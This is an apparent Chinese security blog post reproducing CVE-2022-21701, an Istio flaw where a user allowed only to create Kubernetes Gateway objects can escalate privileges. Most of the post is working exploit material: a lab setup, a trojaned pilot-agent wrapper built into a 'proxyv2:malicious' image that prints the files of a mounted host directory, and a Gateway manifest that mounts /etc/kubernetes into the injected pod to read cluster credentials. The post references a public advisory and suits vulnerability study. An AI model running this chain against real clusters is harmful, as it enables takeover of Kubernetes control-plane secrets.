利用gateway-api,我支配了kubernetes | 高级攻防05
前几天注意到了Istio官方公告,有一个利用kubernetes gateway api仅有CREATE权限来完成特权提升的漏洞(CVE-2022-21701)。
apiVersion: admissionregistration.k8s.io/v1kind: MutatingWebhookConfigurationmetadata:name: istio-sidecar-injectorwebhooks:[...]namespaceSelector:matchExpressions:- key: istio-injectionoperator: Invalues:- enabledobjectSelector:matchExpressions:- key: sidecar.istio.io/injectoperator: NotInvalues:- "false"[...]rules:- apiGroups:- ""apiVersions:- v1operations:- CREATEresources:- podsscope: '*'sideEffects: NonetimeoutSeconds: 10
injectRequired (pkg/kube/inject/inject.go:169)
RunTemplate (pkg/kube/inject/inject.go:283)
func selectTemplates(params InjectionParameters) []string {// annotation.InjectTemplates.Name = inject.istio.io/templatesif a, f := params.pod.Annotations[annotation.InjectTemplates.Name]; f {names := []string{}for _, tmplName := range strings.Split(a, ",") {name := strings.TrimSpace(tmplName)names = append(names, name)}return resolveAliases(params, names)}return resolveAliases(params, params.defaultTemplate)}
使用go template模块来完成yaml文件的渲染:
func parseTemplate(tmplStr string, funcMap map[string]interface{}, data SidecarTemplateData) (bytes.Buffer, error) {var tmpl bytes.Buffertemp := template.New("inject")t, err := temp.Funcs(sprig.TxtFuncMap()).Funcs(funcMap).Parse(tmplStr)if err != nil {log.Infof("Failed to parse template: %v %v\n", err, tmplStr)return bytes.Buffer{}, err}if err := t.Execute(&tmpl, &data); err != nil {log.Infof("Invalid template: %v %v\n", err, tmplStr)return bytes.Buffer{}, err}return tmpl, nil}
kubectl describe cm -n istio-system istio-sidecar-injector
sidecar.istio.io/proxyImagesidecar.istio.io/userVolumesidecar.istio.io/userVolumeMount
PILOT_ENABLE_GATEWAY_API_DEPLOYMENT_CONTROLLER
gateways.gateway.networking.k8s.io
gateways.gateway.networking.k8s.io
pilot/pkg/config/kube/gateway/deploymentcontroller.go
pilot/pkg/config/kube/gateway/templates/deployment.yaml
strdict "inject.istio.io/templates" "gateway"
apiVersion: apps/v1kind: Deploymentmetadata:annotations:toYamlMap .Annotations | nindent 4 }}labels:toYamlMap .Labels"gateway.istio.io/managed" "istio.io-gateway-controller")nindent 4}}name: {{.Name}}namespace: {{.Namespace}}ownerReferences:apiVersion: gateway.networking.k8s.io/v1alpha2kind: Gatewayname: {{.Name}}uid: {{.UID}}spec:selector:matchLabels:: {{.Name}}template:metadata:annotations:toYamlMap"inject.istio.io/templates" "gateway").Annotationsnindent 8}}labels:toYamlMap"sidecar.istio.io/inject" "true")"istio.io/gateway-name" .Name).Labelsnindent 8}}
istio v1.12.2kubernetes v1.20.14kubernetes gateway-api v0.4.0
curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.12.2 TARGET_ARCH=x86_64 sh -istioctl x precheckistioctl install --set profile=demo -ykubectl create namespace istio-ingresskubectl create -f - << EOFapiVersion: rbac.authorization.k8s.io/v1kind: ClusterRolemetadata:name: gateways-only-createrules:- apiGroups: ["gateway.networking.k8s.io"]resources: ["gateways"]verbs: ["create"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:name: test-gateways-only-createsubjects:- kind: Username: testapiGroup: rbac.authorization.k8s.ioroleRef:kind: ClusterRolename: gateways-only-createapiGroup: rbac.authorization.k8s.ioEOF
docker run -it --entrypoint /bin/sh istio/proxyv2:1.12.1cp /usr/local/bin/pilot-agent /usr/local/bin/pilot-agent-origcat << EOF > /usr/local/bin/pilot-agentecho $1if [ $1 != "istio-iptables" ]thentouch /tmp/test/pwnedls -lha /tmp/test/*cat /tmp/test/*fi/usr/local/bin/pilot-agent-orig $*EOFchmod +x /usr/local/bin/pilot-agentexitdocker tag 0e87xxxxcc5c xxxx/proxyv2:malicious
inject.istio.io/templates
inject.istio.io/templates
kubectl --as test create -f - << EOFapiVersion: gateway.networking.k8s.io/v1alpha2kind: Gatewaymetadata:name: gatewaynamespace: istio-ingressannotations:inject.istio.io/templates: sidecarsidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicioussidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'spec:gatewayClassName: istiolisteners:- name: defaulthostname: "*.example.com"port: 80protocol: HTTPallowedRoutes:namespaces:from: AllEOF
apiVersion: apps/v1kind: Deploymentmetadata:annotations:deployment.kubernetes.io/revision: "1"inject.istio.io/templates: sidecar[...]sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicioussidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'generation: 1labels:gateway.istio.io/managed: istio.io-gateway-controllername: gatewaynamespace: istio-ingressspec:progressDeadlineSeconds: 600replicas: 1revisionHistoryLimit: 10selector:matchLabels:istio.io/gateway-name: gatewaystrategy:rollingUpdate:maxSurge: 25%maxUnavailable: 25%type: RollingUpdatetemplate:metadata:annotations:inject.istio.io/templates: sidecar[...]sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicioussidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'creationTimestamp: nulllabels:istio.io/gateway-name: gatewaysidecar.istio.io/inject: "true"spec:containers:- image: autoimagePullPolicy: Alwaysname: istio-proxyports:- containerPort: 15021name: status-portprotocol: TCPreadinessProbe:failureThreshold: 10httpGet:path: /healthz/readyport: 15021scheme: HTTPperiodSeconds: 2successThreshold: 1timeoutSeconds: 2resources: {}securityContext:allowPrivilegeEscalation: truecapabilities:add:- NET_BIND_SERVICEdrop:- ALLreadOnlyRootFilesystem: truerunAsGroup: 1337runAsNonRoot: falserunAsUser: 0terminationMessagePath: /dev/termination-logterminationMessagePolicy: FilednsPolicy: ClusterFirstrestartPolicy: AlwaysschedulerName: default-schedulersecurityContext: {}terminationGracePeriodSeconds: 30
https://gateway-api.sigs.k8s.io/https://istio.io/latest/docs/reference/config/annotations/https://istio.io/latest/news/security/istio-security-2022-002/https://istio.io/latest/docs/tasks/traffic-management/ingress/gateway-api/
Fake dnSpy - 这鸡汤里下了毒!
ADCS攻击面挖掘与利用
安全认证相关漏洞挖掘
